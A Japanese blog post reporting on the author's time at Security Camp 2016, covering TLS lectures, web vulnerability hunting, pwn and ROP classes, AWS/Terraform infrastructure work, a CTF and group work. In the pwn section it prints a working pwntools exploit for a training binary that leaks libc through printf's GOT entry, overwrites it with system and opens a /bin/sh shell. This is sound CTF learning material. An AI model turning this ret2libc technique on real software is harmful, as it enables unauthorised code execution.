jtwp470’s blog

日記とかプヨグヤミングとか

セキュリティキャンプ2016 全国大会参加記

8/9 - 8/13 に幕張で行われたセキュリティキャンプ2016全国大会に参加したのでそれの参加記とかを書きます. 主に感想とかしたことなどを書いていこうかなと思います.

参加するまで

参加する前に何個か講義で事前課題というものがあり, それをときました.とは言っても解く時間は3日間くらいしか取れなかったため非常に辛かったです. けれども事前課題前提で講義が進んでいくものが多かったため, ここを疎かにしていくとせっかくのキャンプが台無しになってしまいます.私は3日間で何とか予習を終わらせることができましたが, 終わらない人などは前もってきちんと時間を取らないとアカンなと思います. ちなみに「4-D 実行ファイルの防御機構を突破せよ」はセキュリティコンテストチャレンジブック

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-

がもらえ, 更にpwnの基礎部分を予習で全てやることができれば講義時間中の課題を片方は解くことができたのであの本は良いなと思います.

1日目

1日目はみんなどうせ集合時間ぎりぎりで行くんやろwと思っていたのですがTLを見ている限り, みんな早めに着いていました.といいつつ私も乗り換えがうまく言ったため, 集合時間よりも早めに着いたのですがw

f:id:jtwp470:20160815180110j:plain

着くとみんなで集まって名刺交換会が始まります.人によっては名刺を持って行かない人もいますが, 50人もの顔と名前とTwitterのアイコン, ユーザー名を一致させるのはほぼ不可能なので, 名刺を作成して片っ端から渡しておいたほうが後で確認もできますし, 便利かなと思います. あと私も名刺作成するのどうしようと思った人間なのですが適当にググった名刺サイトのデザインをベースに

などの内容を入れておきました.面白さを出そうと「ごちうさ原理主義者」と書いたら結構受けたのでそういう突飛なことを書くのも良いかもしれませんねw

とりあえず私は名刺を200枚程持って行きましたが, 結局のところ130枚くらい余りましたw. ですのでなにかイベントで会ったらぜひお渡ししますのでよろしくお願いします.

さて, 名刺交換会が終わり, ランチセッションに入ります.立食形式とかではないので近くにいる人達と話すことになりますが最初の課題はどれ解いた?とかどこ出身ですか?とかで盛り上がります.聞いた感じではやっぱりごちうさパケットの回答者は多かったのかなと思いました.

お昼も食べ終え, 眠い時間帯に開会式が始まります.これでやっと始まるのかという感じでその後, 2人の特別講義を受けました.

特別講義1 サイバーディフェンス研究所 福森大喜氏

福森さんはシンガポールにあるインターポールに勤めているそうで, インターポールの仕事は何か, どうやって日本人がインターポールに潜入したのかなどを時折際どい言葉を混ぜながらお話されていました. とあるボットネットを潰すために, インターポールを中心に各国の警察が協力して同時に潰したり, 24時間位でマルウェア解析して何とかしたりとすごいSFみたいなお話でワクワクしながら聞いていました. また, 日本はよくセキュリティに疎い等と言われていますが世界の国々の政府機関サイトなどはググるとハッキングされてから結構経ってもそのまま放置されているサイトが存在しているなど, 初めて知るような情報も得られました.

特別講義2

「犯罪とは?」という語りで技術というよりも人々の倫理観や正義感についてお話されていました.すごいどうでもいいですが警視庁と警察庁の違いが理解できました.

グループワーク

セキュリティキャンプ中は組まれたチームで1つの課題に対して何かしらの回答を見つけるグループワークをする必要がありました. 正直何で技術を学びに来たのにグループワークをするねんと思っていましたが1つの題材についてほぼ寝ないでチームメンバーと話し合う面白い機会を得られたのでやってよかったなと思いました.

ちなみにCTFでも出てくるのですが自分が所属したチーム名は「E4gleJump」という名前で1番最初に名前を確定させましたw. やっぱり今は某頑張るぞいアニメ*1が流行っていたのでそれをつけてやるという思いがチームで一致し, 周りのチームが悩んでいる中テーマをささっと決め, 一番で名前を取りました. 結局このチーム名を活かす発表ができなかったのが辛い感じでしたが.

2日目

さて, 2日目です.2日目からは普通に講義が始まりますが私は集中講義の「TLS徹底演習」を受講しました.

講義スライド↓

はじめに, TLSの基礎からはじめ, TLSの歴史や, TLSがどこまでをカバーするのかなどを学びました. また, 最近GoogleページランクHTTPSのサイトを優先的に高くすると言っていましたが*2ずっとどうしてHTTPSにするのか, 面倒いなぁとセキュリティに興味がある者なのに思っていました.やはりスノーデン事件でNSAが世界中のサイトを監視していたことが問題になり, Googleページランクによる上位サイトが改ざんされ, マルウェアが撒かれるなどすると, Googleの検索サービスに対しての人々の信頼が崩れ落ち, Google自体のサービスに影響が出る可能性があるということでこのような措置が取られたそうでなるほどなと思いました. 多分最近流行りのLet's EncryptもHTTP/2を使うためでもあるのでしょうがこのことも影響しているのかなと思います. また, 講義時間中の演習でHTTPS通信をクライアントとサーバーが行うときにどのようなやり取りが行われているのか実際にコンソールで手を動かしながら実習しました.更に受講者毎に通信を行ったり, MITMがどのように動いているのかを試したりしました.更にこの実習ではMITMが成立してしまうが実際の通信ではMITMがTLS環境下ではできないことなどを解説され, 私は情報セキュリティスペシャリスト試験に受かっているので基礎は理解しているつもりでしたが, この講義を受けることで更に深く理解することができました.

github.com

最後に2016年6月に仕様が確定したChaCha20-Poly 1305, RFC7905について学びました.正直なところ, この時間を通じてChaChaのアルゴリズムがどのように暗号化しているのかまではきちんと理解できませんでしたがこれから理解していきたいと思いました. ちなみにChaCha20 Poly 1305の最後の1305は内部の演算で絶妙なサイズの素数 2130 - 5 を使っているため, この名前がついているそうで発見者すげえなと純粋に思いました.

セキュリティキャンプでは今年から集中講義が開催されたそうで, 時間は合計8時間取られていました. 8時間は非常に長かったですが1つのことを学んでいくのに4時間では少なすぎ, 1日で1つのことに集中できるので来年以降もぜひ集中講義トラックが続いてほしいなと思いました. 更にTLSについて深く知るきっかけとなったのでもし来年も開講されるのであれば来年の受講者の方はぜひ取ってくださいと言いたいです.

CTF

今年はサイボウズで各チームでラズパイを配りそこでCTFします! みたいな情報が流れていたので, ARMのバイナリが出るのか~とかみんな行っていましたが結局出なかったようです.

f:id:jtwp470:20160815183322j:plain

弊社はなぜかラズパイのパスワードとか常識だわwwww マンとポートスキャナーマンがいたため, 競技開始すぐにSSHログインと空いているポート番号がチーム内で紙で共有されました.私は結局暗号問題とPPCを1問ずつ解いただけでしたが, Web問も何故かメンバーが速攻でXSSでAdminのセッションパクるんやろみたいな発想やバイナリ解析ニキがいたため, 結構問題を潰すことができました.

結局講師陣チームを倒すことができませんでしたorz

もし, 問題が公開されたらWriteupを書きたいなと思います.

優勝だは(^o^)v (受講生チームの中で)

f:id:jtwp470:20160815183826j:plain

株式会社E4gleJumpのセキュリティ担当としてはですね...

3日目

3日目は集中講義ではなく普通の講義を受講しました.

3-A Webアプリケーションの脆弱性の評価と発見

この講義では前半にバグを発見する方法等を聞きました.また事前課題でサイボウズOfficeに敢えて脆弱性が残されたものに対し, 脆弱性を探す課題が出ました. 詳しくは書くことができませんがCTFとはまた違った雰囲気で楽しめ, ソフトウェア開発者側の気持ちと, 脆弱性を発見する側の探し方と言った部分を体験することができました.

後半ではCVSSv3を使った脆弱性のスコア付けについて学びました. わかったことはCVSSは結構曖昧で受講者でスコアをつけていっても結構ばらつきが出てしまうというところです. また, 案外これだけでは脆弱性にならないのでは?といったものなど結構スコアを付けるにあたり考えさせられるものがあり, 面白かったです.

この講義の技術的詳細については書くことができないので, サイボウズ脆弱性を探したければ

脆弱性報奨金制度 | サイボウズ株式会社

のバグバウンティ制度を用いて探してみると良いと思います.(宣伝)

4-D 実行ファイルの防御機構を突破せよ

先ほども挙げましたが, セキュリティコンテストチャレンジブックのpwnの章をベースにやっていく講義でした.CTFをやっていく中でやっぱりpwnには中々手を付けることができず, 放置していた分野だったのですが, この本では基本的な項目を学ぶことができます. 例えば,

  • GOT Overwrite
  • スタックオーバーフロー
  • ASLRの回避(32ビット)

などです.事前課題ではASLRなしで脆弱性のあるバイナリを実行しそこでシェルを取るというような形のものでしたが, 実際の講義ではASLRのある状況で, 特定のアドレスをリークさせ, シェルを取るみたいな形でした.時間内でASLRを突破してシェルを取ることはできましたが, もう一問用意されていたASLR + Full REPLOのバイナリの攻略ができなかったのでこれから攻略してこのブログに書ければと思います.

とりあえず, problem1-1のexploitだけ載せておきます.

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import socket
import time
import os
import struct
import telnetlib
from pwn import *


read_plt = 0x08048350
printf_plt = 0x8048360
printf_got = 0x804a010

# libc
# Ubuntu 14.04 LTS
system_offset = 0x40310
# system_offset = 0x3fe70
printf_offset = 0x4d410
#printf_offset = 0x4cdd0
pop3ret = 0x0804856d     # rp -f problem1_1 -r 3 --unique | grep pop
popret = 0x0804856f      # rp -f problem1_1 -r 1 --unique | grep pop

payload =  b'A' * 44
# printf(printf_got_addr)   # leak address
payload += p32(printf_plt)
payload += p32(popret)
payload += p32(printf_got)

# read(0, printf_got, 20)
payload += p32(read_plt)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(printf_got)
payload += p32(20)

# system('/bin/sh')
payload += p32(printf_plt)
payload += b'BBBB'
payload += p32(printf_got + 4)


s = remote('127.0.0.1', 4000)
s.send(payload)
time.sleep(0.1)
print(s.recvuntil('!\n'))

leak = s.recv(64)
libc_printf = u32(leak[:4])

libc_base = libc_printf - printf_offset
libc_system = libc_base + system_offset

print('[+] libc base %x' % libc_base)

s.send(p32(libc_system) + b'/bin/sh\0')
time.sleep(0.1)
s.interactive()

自身のlibcと講義でのリモートのlibcは別物なのでそれを合わせればいい感じでできると思います.あと32ビットバイナリでした. 方針としてセキュリティコンテストチャレンジブックに載っている通り,

  1. 頑張って何かのアドレスをリークする
  2. リークしたアドレスとlibcのオフセットを使ってsystemのアドレスを特定する
  3. system('/bin/sh') してシェルを取る

みたいな方針です.ただ, 本ではwrite()があってそれで表示することができましたが今回どうすんねんということで悩んでいましたがよくよく考えたらprintfは実質writeのラッパと考えることができるのでこれを使えばアドレスをリークさせることができます.(これに気づくのに2時間くらいかかったw)

とりあえずこの講義ではpwnの基礎中の基礎みたいなものを学べたのでこれからkatagaitaiの講義資料やbataさんのpwnリストを解いていったり, ksnctfの村人Bを解くなどしてpwn力を圧倒的成長させていきたいと思っています.

5-D みんなでクールなROPガジェットを探そうぜ

ROPガジェットをツール等を用いて, 探す講義でした.この時間だけ1時間半くらいしか取られていなかったのが辛いものでしたが, とりあえず与えられた課題でのシェルを取ることはできました. しかし講義では更に与えられたバイナリを複数動かしても動作するROPを探せというのがメインだったみたいです.一体どうやって探せばいいのか全くわかりませんでした.

4日目

6 7-E インフラセキュリティ・ブートキャンプ

4日目も集中講義でインフラセキュリティブートキャンプという講義を受講しました. 私は非常にインフラ分野に関するセキュリティに興味があったのですごい受講したいと思っていました.

さてやったことはAWSを用いたインフラの構築といったところでしょうか. AWSは使ったことがなかったのですが, 同様のクラウドサービスを利用したことはあり, 毎回毎回手動で構築するの面倒いなぁとか思っていたのですが, 今回はTerraformというソフトウェアを使ってインフラ構築をコード化しました.更に受講者でチームを組み, GitHubとSlackを使った共同開発みたいなものを行いました.

中々AWS特有のトラップポイントがあるのか色々なことに引っかかり構築に時間がかかりましたが何とか動きました.またその構築したサーバーの中にDockerを入れてDockerコンテナでアプリケーションを立ち上げるまでを行いました.Dockerはイイゾ! すごいどうでもいいですが, 最近Webアプリケーションを作成してGitHubなどに公開する場合, 開発者は頼むからDockerfileも入れてくれぇーって願っています. ドキュメントを読みながら構築するの面倒いw 頼むでみんな!

また最近のインフラエンジニアはインフラだけできても話しにならないそうです. 私も就活して思いましたが, インフラエンジニアってチームに1人くらいとかそういうレベルで少なくて, しかもその人がインフラ以外もみてるみたいな状況が多いような気がします. なのでWebアプリケーションの構築やその他, プログラミング等色々な知識をつけていかないと辛いなという感じたとともに, 頑張るぞいと思いました.

さて, Terraformには有名ドコロのプロバイダーに対してのサポートはあるのですがさくらのクラウドに対してはないのかな?と思っていたところ, サイボウズのコメントにチューターさんが載せてくれていたので転載しておきます.

github.com

これ使って, 袋に入っていたさくらのクラウドで色々構築してみたいなと思います.

あとAWS Lambdaを使ったSlack BOTの開発など行いました. 残念ながらAWS LambdaはPython 2.7しかサポートしていないっぽいのでさっさとPython 3にアップグレードしろという気持ちになりつつ, 簡単にBOT作れそうなのでこれから試してみたいです.

4日目の夕食情報

f:id:jtwp470:20160815182226j:plain

グループワーク頑張れという意味なのか焼き肉?と刺し身というめっちゃ豪勢な飯でした.

さて, グループワークですが弊社は中々意見がまとまらず, すべてを解決しようとしてしまったため, みんなしてわけわかんなくなり大変なことになりました. 弊社は時間間隔をごちうさの1羽に頼っていたため, 2期の1話を後ろで流しつつBGMを1回聞くことで約25分経ったという合図を出していました.

最初はこれ12回聞いたらヤバイぞと言っていたのに結局12回聞いてしまい, 寝るのは4時になってしまいましたw せっかくチーム名が某アニメの会社名なのにそれを活かすプレゼン資料を作成できず関係各位には謝罪申し上げます:bow:

5日目

グループワークの発表会と, 閉校式, セキュキャンコミケといろいろ詰まった日でした.

グループワーク

コミケ

f:id:jtwp470:20160815185050j:plain

コミケの本を取る順番は運営のお姉さん乱数による決定で決まり, 弊社はCTFでは実質優勝したのにそこで運を使いきったのか最後に呼ばれるという始末.辛かったorz

終わりに

とりあえずよくわかったこととして,

  • 事前課題めっちゃ重要
    • 講義によってはこれをベースにしているので
  • コミュ力も必要
  • 総合格闘技という言葉をよく聞いた
  • ご飯がうまかった
  • 部屋でWifiを使うためにMacBook Airルーター化した
  • 本をいっぱい貰うのでマジで空き容量不足になる. スーツケースのデフラグをどれだけなくせるかが鍵

もらったもの:

f:id:jtwp470:20160815185102j:plain

CTF!

セキュキャンで何人かの方にお声掛けさせていただきましたが, 私は一応g0tiu5aというCTFチームのリーダーで今回CTFやって面白いなとか複数人でやりたいな!と思った方, ぜひぜひうちのチームに入ってCTFしましょう!

ctftime.org